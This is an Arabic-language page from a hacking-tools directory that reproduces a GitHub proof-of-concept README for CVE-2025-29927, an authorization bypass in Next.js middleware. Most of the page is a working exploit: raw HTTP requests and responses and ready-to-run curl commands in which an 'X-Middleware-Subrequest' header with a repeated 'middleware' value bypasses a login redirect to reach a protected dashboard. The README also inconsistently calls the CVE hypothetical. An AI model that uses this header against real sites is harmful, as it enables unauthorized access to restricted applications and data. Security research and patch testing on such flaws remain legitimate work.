Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/dedibagus/cve-2025-29927-poc
المصادقة والترخيصتحليل الثغرات الأمنيةاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

تجاوز التفويض في برمجية الوسيطة لـ Next.js

عرض المستودع
33منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2025-29927-POC

مقدمة

يحتوي هذا المستودع على إثبات المفهوم (PoC) لـ CVE-2025-29927، وهو ثغرة افتراضية توضح خللاً في معالجة الوسيطة (middleware) داخل تطبيق ويب. يوضح إثبات المفهوم كيف يمكن لطلب HTTP مصمم خصيصًا تجاوز منطق إعادة التوجيه للوصول إلى محتوى مقيد، مثل لوحة التحكم. هذا المشروع مصمم للأغراض التعليمية والبحثية الأمنية فقط.

إخلاء مسؤولية: هذا إثبات المفهوم مخصص للاستخدام في بيئات خاضعة للرقابة وبإذن صريح. الاختبار غير المصرح به ضد أنظمة لا تملكها أو ليس لديك موافقة على اختبارها غير قانوني وغير أخلاقي.


جدول المحتويات

  • المتطلبات الأساسية
  • نظرة عامة على الثغرة
  • خطوات إثبات المفهوم
    • الخطوة 1: الطلب الأولي (غير ناجح)
    • الخطوة 2: الطلب المعدل (ناجح)
  • كيفية إعادة الإنتاج
  • المراجع
  • المساهمة
  • الترخيص

المتطلبات الأساسية

لمتابعة هذا الإثبات، ستحتاج إلى:

  • خادم هدف (مثل abc.com) يشغل تكوينًا ضعيفًا (برنامج/إصدار محدد سيتم تحديده بناءً على تفاصيل CVE).
  • أداة عميل HTTP مثل curl (curl.se) أو Burp Suite (portswigger.net/burp) أو سكربت مخصص.
  • معرفة أساسية ببروتوكولات HTTP ورؤوسها (انظر توثيق HTTP من MDN).

نظرة عامة على الثغرة

CVE-2025-29927 (عنصر نائب؛ استبدل بتفاصيل CVE الرسمية عند توفرها) يبدو أنه يستغل خللاً في تكوين الوسيطة أو منطقها. يوضح إثبات المفهوم أن إضافة رأس مخصص (X-Middleware-Subrequest) يغير سلوك الخادم، متجاوزًا آلية إعادة التوجيه للوصول إلى المحتوى المقيد. من المحتمل أن يكون هذا مرتبطًا بكيفية معالجة الوسيطة (مثل Nginx مع Next.js) للطلبات الفرعية أو التحقق من الرؤوس.

لمزيد من المعلومات حول ثغرات الوسيطة، راجع أمان الوسيطة من OWASP.


خطوات إثبات المفهوم

يتكون الإثبات من خطوتين: طلب أولي غير ناجح وطلب معدل ناجح. تتضمن كل خطوة طلب HTTP والاستجابة وشرحًا مفصلاً.

الخطوة 1: الطلب الأولي (غير ناجح)

توضح هذه الخطوة سلوك الخادم الافتراضي عند الوصول إلى نقطة النهاية /dashboard دون رؤوس إضافية.

طلب HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

استجابة HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

شرح

  • تفاصيل الطلب:
    • GET /dashboard: محاولة الوصول إلى نقطة نهاية لوحة التحكم.
    • رؤوس قياسية مثل User-Agent و Accept تحاكي طلب متصفح عادي.
  • تفاصيل الاستجابة:
    • 307 Temporary Redirect: يشير إلى أن الخادم يعيد توجيه العميل، على الأرجح بسبب المصادقة أو التفويض أو منطق التوجيه (مثل إعادة التوجيه إلى صفحة تسجيل الدخول).
    • Server: nginx/1.14.1: يحدد برنامج خادم الويب.
  • تحليل: تشير إعادة التوجيه إلى وجود آلية حماية تمنع الوصول المباشر إلى /dashboard. عدم وجود رأس Location في هذه الاستجابة (ربما تم حذفه للاختصار) يعني أن وجهة إعادة التوجيه في مكان آخر.
  • مرجع: تعرف على المزيد حول رموز حالة HTTP في MDN HTTP Status.

الخطوة 2: الطلب المعدل (ناجح)

تقدم هذه الخطوة رأسًا مخصصًا لتجاوز إعادة التوجيه، مما ينجح في الحصول على محتوى لوحة التحكم.

طلب HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

استجابة HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

شرح

  • تفاصيل الطلب:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: رأس مخصص أضيف إلى الطلب الأصلي. قد تستغل سلسلة middleware المتكررة خللاً في التحليل أو التحقق داخل مكدس الوسيطة.
    • الرؤوس الأخرى لم تتغير عن الخطوة 1.
  • تفاصيل الاستجابة:
    • 200 OK: يؤكد الوصول الناجح إلى محتوى لوحة التحكم.
    • Content-Type: text/html; charset=utf-8: يشير إلى استجابة HTML، على الأرجح صفحة لوحة التحكم.
    • X-Powered-By: Next.js: يشير إلى أن التطبيق يستخدم Next.js، وهو إطار عمل React يعتمد غالبًا على الوسيطة في التوجيه.
    • Cache-Control: يمنع التخزين المؤقت، وهو أمر نموذجي للمحتوى الديناميكي الخاص بالمستخدم.
    • Content-Length: 30174: حجم نص الاستجابة بالبايت.
  • تحليل: من المحتمل أن رأس X-Middleware-Subrequest يخدع الوسيطة لتعامل الطلب كطلب فرعي شرعي، متجاوزًا منطق إعادة التوجيه. قد يشير هذا إلى ثغرة في كيفية التحقق من الطلبات الفرعية أو معالجتها.
  • مرجع: استكشف وسيطة Next.js في توثيق Next.js.

كيفية إعادة الإنتاج

اتبع هذه الخطوات لإعادة إنتاج الإثبات باستخدام curl:

الخطوة 1: إرسال الطلب الأولي

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

المخرجات المتوقعة: استجابة 307 Temporary Redirect.

الخطوة 2: إرسال الطلب المعدل

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

المخرجات المتوقعة: استجابة 200 OK مع محتوى لوحة التحكم.

ملاحظة: استبدل abc.com باسم المجال الهدف الفعلي إذا كان الاختبار في بيئة مصرح بها.


المراجع

  • تفاصيل CVE - قاعدة بيانات CVE الرسمية (قم بتحديث الرابط الخاص بـ CVE عند توفره).
  • توثيق HTTP من MDN - أساسيات بروتوكول HTTP.
  • وسيطة Next.js - معلومات حول سلوك وسيطة Next.js.
  • أمان الوسيطة من OWASP - نظرة عامة على ثغرات الوسيطة.
  • دليل curl - دليل استخدام curl لطلبات HTTP.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة